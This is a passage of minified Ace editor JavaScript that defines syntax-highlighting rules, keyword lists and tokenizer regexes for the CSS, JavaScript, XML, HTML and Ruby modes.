,{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return 